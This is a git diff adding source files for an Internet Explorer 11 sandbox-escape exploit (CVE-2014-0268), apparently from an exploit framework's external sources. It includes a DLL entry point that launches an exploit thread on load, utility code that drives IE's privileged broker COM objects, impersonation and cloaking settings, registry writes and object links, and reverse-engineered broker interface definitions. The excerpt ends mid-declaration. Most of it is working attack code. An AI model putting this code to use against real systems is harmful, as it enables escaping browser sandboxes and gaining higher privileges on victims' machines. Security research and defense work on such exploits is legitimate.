+ true + true + true + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/dllmain.cpp new file mode 100755 index 0000000000..042cf2c7c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.h new file mode 100755 index 0000000000..562cb0adb0 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/CommonUtils.vcxproj b/external/source/exploits/IE11SandboxEscapes/CommonUtils/CommonUtils.vcxproj new file mode 100755 index 0000000000..2e2b9ea000 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/CommonUtils.vcxproj @@ -0,0 +1,154 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D} + Win32Proj + CommandUtils + CommonUtils + + + + StaticLibrary + true + v120 + Unicode + + + StaticLibrary + true + v120 + Unicode + + + StaticLibrary + false + v120 + true + Unicode + + + StaticLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + + NotUsing + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.cpp b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.cpp new file mode 100755 index 0000000000..dbc6eeeb92 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.cpp @@ -0,0 +1,373 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" + +#include "Utils.h" + +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +static BOOL g_hasShDocIID; +static IID g_shDocIID; + +BOOL GetIIDForName(LPCWSTR lpName, IID* riid) +{ + HKEY hRoot = nullptr; + ULONG status; + + status = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"Interface", 0, KEY_ENUMERATE_SUB_KEYS, &hRoot); + if (status == 0) + { + WCHAR keyName[128]; + DWORD index = 0; + BOOL foundKey = FALSE; + + while (true) + { + HKEY hSubKey; + + status = RegEnumKeyW(hRoot, index, keyName, _countof(keyName)); + if (status != 0) + { + break; + } + + index++; + + status = RegOpenKeyEx(hRoot, keyName, 0, KEY_QUERY_VALUE, &hSubKey); + if (status != 0) + { + continue; + } + + DWORD dwType; + WCHAR valueName[256]; + DWORD dwSize = sizeof(valueName)-sizeof(WCHAR); + + status = RegQueryValueEx(hSubKey, nullptr, nullptr, &dwType, (BYTE*)valueName, &dwSize); + RegCloseKey(hSubKey); + + if ((status != 0) || (dwType != REG_SZ)) + { + continue; + } + + // Ensure NUL terminate + valueName[dwSize / sizeof(WCHAR)] = 0; + + if (_wcsicmp(valueName, lpName) == 0) + { + foundKey = TRUE; + break; + } + } + + RegCloseKey(hRoot); + + if (foundKey) + { + return SUCCEEDED(IIDFromString(keyName, riid)); + } + } + else + { + DebugPrintf("Could not open Interface key %d\n", status); + } + + return FALSE; +} + +REFIID GetSHDocIID() +{ + if (!g_hasShDocIID) + { + memset(&g_shDocIID, 0, sizeof(g_shDocIID)); + + g_hasShDocIID; + + GetIIDForName(L"ISHDocVwBroker", &g_shDocIID); + } + + return g_shDocIID; +} + +bstr_t GetTemp(LPCWSTR name) +{ + WCHAR tempPath[MAX_PATH]; + + GetTempPath(MAX_PATH, tempPath); + + PathAppend(tempPath, name); + + return tempPath; +} + +bstr_t GetTempPath() +{ + WCHAR tempPath[MAX_PATH]; + + GetTempPath(MAX_PATH, tempPath); + + return tempPath; +} + +bstr_t WriteTempFile(LPCWSTR name, unsigned char* buf, size_t len) +{ + WCHAR tempPath[MAX_PATH]; + + GetTempPath(MAX_PATH, tempPath); + + PathAppend(tempPath, name); + + FILE* fp = nullptr; + + if (_wfopen_s(&fp, tempPath, L"wb") == 0) + { + fwrite(buf, 1, len, fp); + + fclose(fp); + + return tempPath; + } + else + { + return L""; + } +} + +std::vector ReadFileToMem(LPCWSTR name) +{ + FILE* fp; + std::vector ret; + + if (_wfopen_s(&fp, name, L"rb") == 0) + { + fseek(fp, 0, SEEK_END); + + ret.resize(ftell(fp)); + fseek(fp, 0, SEEK_SET); + + fread(&ret[0], 1, ret.size(), fp); + + fclose(fp); + } + + return ret; +} + +void DebugPrintf(LPCSTR lpFormat, ...) +{ +#ifdef _DEBUG + CHAR buf[1024]; + va_list va; + + va_start(va, lpFormat); + + StringCbVPrintfA(buf, sizeof(buf), lpFormat, va); + + OutputDebugStringA(buf); +#endif +} + +bstr_t GetUserSid() +{ + HANDLE hToken = nullptr; + PTOKEN_USER pUser = nullptr; + LPWSTR userName = nullptr; + bstr_t ret; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + { + DebugPrintf("Error opening process token: %d", GetLastError()); + goto error; + } + + //TOKEN_USER user = { 0 }; + DWORD retLength = 0; + + if (!GetTokenInformation(hToken, TokenUser, nullptr, 0, &retLength)) + { + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + { + DebugPrintf("Error getting token information size: %d", GetLastError()); + goto error; + } + } + + pUser = (PTOKEN_USER) new char[retLength]; + + if (!GetTokenInformation(hToken, TokenUser, pUser, retLength, &retLength)) + { + DebugPrintf("Error getting token information: %d", GetLastError()); + goto error; + } + + if (!ConvertSidToStringSidW(pUser->User.Sid, &userName)) + { + DebugPrintf("Error converting Sid to String: %d", GetLastError()); + goto error; + } + + ret = userName; + +error: + + if (hToken) + { + CloseHandle(hToken); + } + + if (pUser) + { + delete[] pUser; + } + + if (userName) + { + LocalFree(userName); + } + + return ret; +} + +typedef HRESULT(__stdcall *fCoCreateUserBroker)(IIEUserBroker** ppBroker); + +GUID CLSID_CShdocvwBroker = { 0x9C7A1728, +0x0B694, 0x427A, { 0x94, 0xA2, 0xA1, 0xB2, 0xC6, 0x0F, 0x03, 0x60 } }; + +void DisableImpersonation(IUnknown* pUnk) +{ + IClientSecurity* sec = nullptr; + + HRESULT hr = pUnk->QueryInterface(IID_PPV_ARGS(&sec)); + if (SUCCEEDED(hr)) + { + hr = sec->SetBlanket(pUnk, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_ANONYMOUS, nullptr, EOAC_NONE); + DebugPrintf("SetBlanket: %08X", hr); + sec->Release(); + } + else + { + DebugPrintf("Error getting client security: %08X", hr); + } +} + +void SetCloaking(IUnknown* pUnk) +{ + IClientSecurity* sec = nullptr; + + HRESULT hr = pUnk->QueryInterface(IID_PPV_ARGS(&sec)); + if (SUCCEEDED(hr)) + { + hr = sec->SetBlanket(pUnk, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, + RPC_C_IMP_LEVEL_IDENTIFY, nullptr, EOAC_DYNAMIC_CLOAKING); + DebugPrintf("SetBlanket: %08X", hr); + sec->Release(); + } + else + { + DebugPrintf("Error getting client security: %08X", hr); + } +} + +IIEUserBrokerPtr CreateBroker() +{ + HMODULE hMod = LoadLibrary(L"iertutil.dll"); + + fCoCreateUserBroker pfCoCreateUserBroker = (fCoCreateUserBroker)GetProcAddress(hMod, (LPCSTR)58); + + if (pfCoCreateUserBroker) + { + IIEUserBrokerPtr broker; + + HRESULT ret = pfCoCreateUserBroker(&broker); + + DebugPrintf("CreateBroker: %08X - %p", ret, broker); + + return broker; + } + + return nullptr; +} + +IShdocvwBroker* CreateSHDocVw() +{ + IIEUserBrokerPtr broker = CreateBroker(); + + if (broker != nullptr) + { + HRESULT ret; + IShdocvwBroker* shdocvw; + ret = broker->BrokerCreateKnownObject(CLSID_CShdocvwBroker, GetSHDocIID(), (IUnknown**)&shdocvw); + DebugPrintf("IShdocvwBroker: %08X %p", ret, shdocvw); + + if (SUCCEEDED(ret)) + { + return shdocvw; + } + } + + return nullptr; +} + +bstr_t GetWindowsSystemDirectory() +{ + WCHAR buf[MAX_PATH]; + + GetSystemDirectory(buf, MAX_PATH); + + return buf; +} + +bstr_t GetExecutableFileName(HMODULE hModule) +{ + WCHAR buf[MAX_PATH]; + + ::GetModuleFileNameW(hModule, buf, MAX_PATH); + + return buf; +} + +bstr_t GetSessionPath() +{ + std::wstringstream ss; + + WCHAR objPath[MAX_PATH + 1] = { 0 }; + ULONG length = MAX_PATH; + DWORD dwSessionId; + + if (ProcessIdToSessionId(GetCurrentProcessId(), &dwSessionId)) + { + ss << L"\\Sessions\\" << dwSessionId; + + return ss.str().c_str(); + } + + return L""; +} + +LSTATUS CreateRegistryValueString(HKEY hKey, LPCWSTR lpName, LPCWSTR lpString) +{ + return RegSetValueEx(hKey, lpName, 0, REG_SZ, (const BYTE*)lpString, (wcslen(lpString) + 1) * sizeof(WCHAR)); +} + +LSTATUS CreateRegistryValueDword(HKEY hKey, LPCWSTR lpName, DWORD d) +{ + return RegSetValueEx(hKey, lpName, 0, REG_DWORD, (const BYTE*)&d, sizeof(d)); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.h new file mode 100755 index 0000000000..db2c100fc8 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.h @@ -0,0 +1,21 @@ +#include "interfaces.h" + +#include + +bstr_t GetTemp(LPCWSTR name); +bstr_t GetTempPath(); +bstr_t WriteTempFile(LPCWSTR name, unsigned char* buf, size_t len); +std::vector ReadFileToMem(LPCWSTR name); +void DebugPrintf(LPCSTR lpFormat, ...); +bstr_t GetUserSid(); +void DisableImpersonation(IUnknown* pUnk); +void SetCloaking(IUnknown* pUnk); +IIEUserBrokerPtr CreateBroker(); +IShdocvwBroker* CreateSHDocVw(); +bstr_t GetWindowsSystemDirectory(); +bstr_t GetExecutableFileName(HMODULE hModule); +extern "C" int DeleteLink(LPCWSTR par_src); +extern "C" int CreateLink(LPCWSTR par_src, LPCWSTR par_dst, int opt_volatile); +bstr_t GetSessionPath(); +LSTATUS CreateRegistryValueString(HKEY hKey, LPCWSTR lpName, LPCWSTR lpString); +LSTATUS CreateRegistryValueDword(HKEY hKey, LPCWSTR lpName, DWORD d); \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/interfaces.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/interfaces.h new file mode 100755 index 0000000000..c210b8ed2e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/interfaces.h @@ -0,0 +1,258 @@ +#pragma once + +#include +#include +#include +#include +#include + +struct __declspec(uuid("1AC7516E-E6BB-4A69-B63F-E841904DC5A6")) IIEUserBroker : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE Initialize(HWND *, LPCWSTR, LPDWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE CreateProcessW(DWORD pid, LPWSTR appName, LPWSTR cmdline, DWORD, DWORD, LPCSTR, WORD*, /* _BROKER_STARTUPINFOW*/ void *, /* _BROKER_PROCESS_INFORMATION */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE WinExec(DWORD pid, LPCSTR, DWORD, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCreateKnownObject(_GUID const &, _GUID const &, IUnknown * *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoCreateInstance() = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoCreateInstanceEx(DWORD pid, _GUID const &, IUnknown *, DWORD, _COSERVERINFO *, DWORD, /* tagBROKER_MULTI_QI */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoGetClassObject(DWORD pid, _GUID const &, DWORD, _COSERVERINFO *, _GUID const &, IUnknown * *) = 0; +}; + +struct __declspec(uuid("BDB57FF2-79B9-4205-9447-F5FE85F37312")) CIEAxInstallBroker +{ +}; + +struct __declspec(uuid("B2103BDB-B79E-4474-8424-4363161118D5")) IIEAxInstallBrokerBroker : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE BrokerGetAxInstallBroker(REFCLSID rclsid, REFIID riid, int unknown, int type, HWND, IUnknown** ppv) = 0; +}; + +_COM_SMARTPTR_TYPEDEF(IIEAxInstallBrokerBroker, __uuidof(IIEAxInstallBrokerBroker)); + +struct ERF +{ + //+0x000 erfOper : Int4B + // + 0x004 erfType : Int4B + // + 0x008 fError : Int4B + + int erfOper; + int erfType; + int fError; +}; + +struct FNAME +{ + /*+0x000 pszFilename : Ptr32 Char + + 0x004 pNextName : Ptr32 sFNAME + + 0x008 status : Uint4B*/ + + char* pszFilenane; + FNAME* pNextName; + UINT status; +}; + +struct SESSION +{ + /*+0x000 cbCabSize : Uint4B + + 0x004 erf : ERF + + 0x010 pFileList : Ptr32 sFNAME + + 0x014 cFiles : Uint4B + + 0x018 flags : Uint4B + + 0x01c achLocation : [260] Char + + 0x120 achFile : [260] Char + + 0x224 achCabPath : [260] Char + + 0x328 pFilesToExtract : Ptr32 sFNAME*/ + + UINT cbCabSize; + ERF erf; + FNAME* pFileList; + UINT cFiles; + UINT flags; + char achLocation[260]; + char achFile[260]; + char achCabPath[260]; + FNAME* pFilesToExtract; +}; + +struct __declspec(uuid("BC0EC710-A3ED-4F99-B14F-5FD59FDACEA3")) IIeAxiInstaller2 : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE VerifyFile(BSTR, HWND__ *, BSTR, BSTR, BSTR, unsigned int, unsigned int, _GUID const &, BSTR*, unsigned int *, unsigned char **) = 0; + virtual HRESULT STDMETHODCALLTYPE RunSetupCommand(BSTR, HWND__ *, BSTR, BSTR, BSTR, BSTR, unsigned int, unsigned int *) = 0; + virtual HRESULT STDMETHODCALLTYPE InstallFile(BSTR sessionGuid, HWND__ *, BSTR sourcePath, BSTR sourceFile, BSTR destPath, BSTR destFile, unsigned int unk) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterExeFile(BSTR sessionGuid, BSTR cmdline, int unk, _PROCESS_INFORMATION *) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterDllFile(BSTR, BSTR, int) = 0; + virtual HRESULT STDMETHODCALLTYPE InstallCatalogFile(BSTR, BSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateLanguageCheck(BSTR, unsigned short const *, _FILETIME) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateDistributionUnit(BSTR, unsigned short const *, unsigned short const *, unsigned int, unsigned int *, unsigned short const *, int, unsigned short const *, unsigned short const *, long, unsigned short const *, unsigned short const *, unsigned short const *, unsigned int, unsigned short const * *, unsigned int, unsigned short const * *, unsigned int, unsigned short const * *, unsigned short const * *) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateModuleUsage(BSTR, char const *, char const *, char const *, char const *, unsigned int) = 0; + virtual HRESULT STDMETHODCALLTYPE EnumerateFiles(BSTR sessionGuid, char const * cabPath, SESSION *session) = 0; + virtual HRESULT STDMETHODCALLTYPE ExtractFiles(BSTR sessionGuid, char const * cabPath, SESSION *session) = 0; + virtual HRESULT STDMETHODCALLTYPE RemoveExtractedFilesAndDirs(BSTR, SESSION *) = 0; + virtual HRESULT STDMETHODCALLTYPE CreateExtensionsManager(BSTR, _GUID const &, IUnknown * *) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterDllFile2(BSTR, BSTR, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateDistributionUnit2(BSTR, unsigned short const *, unsigned short const *, unsigned int, unsigned int *, unsigned short const *, int, unsigned short const *, unsigned short const *, long, unsigned short const *, unsigned short const *, unsigned short const *, unsigned int, unsigned short const * *, int *, unsigned int, unsigned short const * *, unsigned int, unsigned short const * *, unsigned short const * *) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateAllowedDomainsList(_GUID const &, BSTR, int) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteExtractedFile(char const *) = 0; +}; + +_COM_SMARTPTR_TYPEDEF(IIeAxiInstaller2, __uuidof(IIeAxiInstaller2)); + +struct __declspec(uuid("9AEA8A59-E0C9-40F1-87DD-757061D56177")) IIeAxiAdminInstaller : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE InitializeAdminInstaller(BSTR, BSTR, BSTR*) = 0; +}; + +_COM_SMARTPTR_TYPEDEF(IIeAxiAdminInstaller, __uuidof(IIeAxiAdminInstaller)); + +struct __declspec(uuid("A4AAAE00-22E5-4742-ABB7-379D9493A3B7")) IShdocvwBroker : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE RedirectUrl(WORD const *, DWORD, /* _BROKER_REDIRECT_DETAIL */ void *, /* IXMicTestMode */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE RedirectShortcut(WORD const *, WORD const *, DWORD, /* _BROKER_REDIRECT_DETAIL */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE RedirectUrlWithBindInfo(/* _BROKER_BIND_INFO */ void *, /* _BROKER_REDIRECT_DETAIL */ void *, /* IXMicTestMode */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE NavigateUrlInNewTabInstance(/* _BROKER_BIND_INFO */ void *, /*_BROKER_REDIRECT_DETAIL */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowInternetOptions(HWND *, WORD const *, WORD const *, long, ITEMIDLIST_ABSOLUTE * *, DWORD, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowInternetOptionsZones(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowInternetOptionsLanguages(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowPopupManager(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowCachesAndDatabases(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE ConfigurePopupExemption(HWND *, int, WORD const *, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ConfigurePopupMgr(HWND *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE RemoveFirstHomePage(void) = 0; + virtual HRESULT STDMETHODCALLTYPE SetHomePage(HWND *, long, ITEMIDLIST_ABSOLUTE * *, long) = 0; + virtual HRESULT STDMETHODCALLTYPE RemoveHomePage(HWND *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE FixInternetSecurity(HWND *, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowManageAddons(HWND *, DWORD, _GUID *, DWORD, int) = 0; + virtual HRESULT STDMETHODCALLTYPE CacheExtFileVersion(_GUID const &, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAxApprovalDlg(HWND *, _GUID const &, int, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE SendLink(ITEMIDLIST_ABSOLUTE const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE SendPage(HWND *, IDataObject *) = 0; + virtual HRESULT STDMETHODCALLTYPE NewMessage(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ReadMail(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE SetAsBackground(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSaveBrowseFile(HWND *, WORD const *, WORD const *, int, int, WORD * *, DWORD *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveAsComplete(void) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveAsFile(void) = 0; + virtual HRESULT STDMETHODCALLTYPE StartImportExportWizard(int, HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE EditWith(HWND *, DWORD, HANDLE, DWORD, LPCWSTR, LPCWSTR, LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSaveImage(HWND *, WORD const *, DWORD, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveImage(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE CreateShortcut(/* _internet_shortcut_params */ void*, int, HWND *, WORD *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSynchronizeUI(void) = 0; + virtual HRESULT STDMETHODCALLTYPE OpenFolderAndSelectItem(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoGetOpenFileNameDialog(/* _SOpenDlg */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoGetLocationPlatformConsent(HWND *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSaveFileName(HWND *, WORD const *, WORD const *, WORD const *, WORD const *, DWORD, WORD *, DWORD, WORD const *, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveFile(HWND *, DWORD, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE VerifyTrustAndExecute(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFeedByUrl(WORD const *, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerAddToFavoritesEx(HWND *, ITEMIDLIST_ABSOLUTE const *, WORD const *, DWORD, IOleCommandTarget *, WORD *, DWORD, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE Subscribe(HWND *, WORD const *, WORD const *, int, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE MarkAllItemsRead(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE MarkItemsRead(WORD const *, DWORD *, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE Properties(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteFeedItem(HWND *, WORD const *, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteFeed(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteFolder(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE Refresh(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE MoveFeed(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE MoveFeedFolder(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE RenameFeed(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE RenameFeedFolder(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE NewFeedFolder(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE FeedRefreshAll(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowFeedAuthDialog(HWND *, WORD const *, /* FEEDTASKS_AUTHTYPE */ DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAddSearchProvider(HWND *, WORD const *, WORD const *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE InitHKCUSearchScopesRegKey(void) = 0; + virtual HRESULT STDMETHODCALLTYPE DoShowDeleteBrowsingHistoryDialog(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE StartAutoProxyDetection(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EditAntiPhishingOptinSetting(HWND *, DWORD, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowMyPictures(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ChangeIntranetSettings(HWND *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE FixProtectedModeSettings(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAddService(HWND *, WORD const *, WORD const *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAddWebFilter(HWND *, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoBrowserRegister() = 0; + virtual HRESULT STDMETHODCALLTYPE DoBrowserRevoke(long) = 0; + virtual HRESULT STDMETHODCALLTYPE DoOnNavigate(long, VARIANT *) = 0; + virtual HRESULT STDMETHODCALLTYPE AddDesktopComponent(WORD *, WORD *, VARIANT *, VARIANT *, VARIANT *, VARIANT *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoOnCreated(long, IUnknown *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetShellWindows(IUnknown * *) = 0; + virtual HRESULT STDMETHODCALLTYPE CustomizeSettings(short, short, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE OnFocus(int) = 0; + virtual HRESULT STDMETHODCALLTYPE IsProtectedModeUrl(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE DoDiagnoseConnectionProblems(HWND *, WORD *, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE PerformDoDragDrop(HWND *, /* IEDataObjectWrapper */ void *, /* IEDropSourceWrapper */ void *, DWORD, DWORD, DWORD *, long *) = 0; + virtual HRESULT STDMETHODCALLTYPE TurnOnFeedSyncEngine(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE InternetSetPerSiteCookieDecisionW(WORD const *, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE SetAttachmentUserOverride(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE WriteClassesOfCategory(_GUID const &, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerSetFocus(DWORD, HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerShellNotifyIconA(DWORD, /* _BROKER_NOTIFYICONDATAA */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerShellNotifyIconW(DWORD, /* _BROKER_NOTIFYICONDATAW */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE DisplayVirtualizedFolder(void) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerSetWindowPos(HWND *, HWND *, int, int, int, int, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE WriteUntrustedControlDetails(_GUID const &, WORD const *, WORD const *, DWORD, BYTE *) = 0; + virtual HRESULT STDMETHODCALLTYPE SetComponentDeclined(char const *, char const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoShowPrintDialog(/* _BROKER_PRINTDLG */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE NavigateHomePages(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAxDomainApprovalDlg(HWND *, _GUID const &, int, WORD const *, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ActivateExtensionFromCLSID(HWND *, WORD const *, DWORD, DWORD, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoCreateNewIEWindow(DWORD, _GUID const &, void * *, int, DWORD, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE BeginFakeModalityForwardingToTab() = 0; + virtual HRESULT 